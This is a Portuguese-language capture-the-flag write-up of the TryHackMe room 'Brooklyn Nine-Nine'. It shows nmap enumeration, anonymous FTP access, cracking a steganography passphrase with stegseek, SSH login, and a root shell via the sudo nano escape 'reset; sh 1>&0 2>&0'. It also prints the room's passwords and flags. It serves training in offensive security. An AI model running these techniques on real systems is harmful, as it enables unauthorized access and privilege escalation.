Brooklyn Nine-Nine

Offensive Security Write-up

Autor: Gabriel de Vargas

Data: 8 de novembro de 2026

Sinopse

A sala **Brooklyn Nine-Nine**, da plataforma TryHackMe, apresenta um cenário de enumeração e exploração em um servidor Linux inspirado na série de mesmo nome. O caminho realizado nesta resolução começou com a identificação de serviços expostos, passou pelo acesso anônimo ao FTP e pela análise de uma imagem com esteganografia, que revelou uma senha. Com essa informação foi possível acessar o serviço SSH como o usuário **holt**. A escalação de privilégios ocorreu porque esse usuário podia executar o editor **/bin/nano** como root, sem senha.

1 Enumeração

A enumeração inicial foi realizada com o Nmap para identificar portas abertas, serviços e versões disponíveis no alvo da sala.

```
$ nmap -sV -sC -p- 10.66.180.209
```

O resultado identificou três serviços TCP abertos:

```
21/tcp  open  ftp   vsftpd 3.0.3
22/tcp  open  ssh   OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp  open  http  Apache httpd 2.4.29 (Ubuntu)
```

O script de enumeração do FTP indicou que o login anônimo estava habilitado. Ao conectar com o usuário **anonymous** e listar o conteúdo, foi encontrado o arquivo **note_to_jake.txt**.

```
$ ftp 10.66.180.209
Name: anonymous
ftp> ls -la
-rw-r--r--    1 0  0  119 May 17 2020 note_to_jake.txt
ftp> get note_to_jake.txt
ftp> bye
$ cat note_to_jake.txt
```

O conteúdo da nota era:

```
From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the
nine nine.
```

A mensagem mencionava os usuários Jake e Holt e sugeria a existência de uma senha fraca. O arquivo, por si só, não fornecia a senha utilizada posteriormente; serviu como pista para continuar a investigação.

2 Enumeração HTTP e esteganografia

A raiz do servidor web foi consultada com **curl**. O HTML não apresentava um painel de login, mas revelava o nome de uma imagem de fundo e um comentário sobre esteganografia.

```
$ curl -s http://10.66.180.209/
background-image: url("brooklyn99.jpg");
<!-- Have you ever heard of steganography? -->
```

A indicação levou à análise da imagem **brooklyn99.jpg**. A primeira consulta com Steghide solicitou uma passphrase, mas não conseguiu descompactar os dados. Em seguida, o Stegseek foi utilizado com a wordlist RockYou e encontrou a senha incorporada.

```
$ steghide info brooklyn99.jpg
$ stegseek brooklyn99.jpg /usr/share/wordlists/rockyou.txt
[i] Found passphrase: "admin"
[i] Original filename: "note.txt"
[i] Extracting to "brooklyn99.jpg.out"
```

A passphrase encontrada foi **admin**. Com ela, o conteúdo oculto foi extraído para **note.txt**.

```
$ steghide extract -sf brooklyn99.jpg
Enter passphrase: admin
wrote extracted data to "note.txt"
$ cat note.txt
```

A nota extraída revelou a credencial de Holt:

```
Holts Password:
fluffydog12@ninenine
```

3 Acesso inicial

Com a senha encontrada na imagem, foi possível autenticar no SSH, serviço identificado na porta 22. O login foi realizado com o usuário **holt**.

```
$ ssh holt@10.66.180.209
Password: fluffydog12@ninenine
holt@brookly_nine_nine:~$ whoami
holt
```

No diretório home do usuário foi localizado o arquivo **user.txt**, que continha a primeira flag da sala.

```
holt@brookly_nine_nine:~$ cat user.txt
ee11cbb19052e40b07aac0ca060c23ee
```

O usuário também encontrou o arquivo **nano.save**, pertencente a root, mas não tinha permissão para lê-lo. A enumeração de privilégios foi então direcionada às permissões de sudo.

4 Escalação de Privilégios

A verificação com **sudo -l** revelou uma configuração permissiva: o usuário holt podia executar **/bin/nano** como qualquer usuário, inclusive root, sem fornecer senha.

```
holt@brookly_nine_nine:~$ sudo -l
User holt may run the following commands on brookly_nine_nine:
    (ALL) NOPASSWD: /bin/nano
```

O Nano possui uma função para abrir arquivos e executar comandos externos. Aproveitando a permissão de sudo, foi iniciado o editor como root e utilizada a sequência de teclas **Ctrl+R** e **Ctrl+X** para abrir o prompt de execução de comando. Nesse prompt, foi informado o comando abaixo para iniciar um shell.

```
$ sudo /bin/nano
Dentro do Nano: Ctrl+R, depois Ctrl+X
Command to execute: reset; sh 1>&0 2>&0
```

A confirmação do shell privilegiado foi feita com **whoami**, que retornou **root**. Em seguida, a flag final foi lida diretamente do diretório de root.

```
# whoami
root
# cat /root/root.txt
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: 63a9f0ea7bb98050796b649e85481845
Enjoy!!
```

Conclusão

A cadeia de exploração combinou FTP anônimo, esteganografia e credenciais de SSH. A falha de maior impacto foi a permissão **(ALL) NOPASSWD: /bin/nano**, que permitiu obter um shell como root. O cenário reforça a importância de restringir serviços anônimos, proteger credenciais e aplicar o princípio do menor privilégio nas regras de sudo.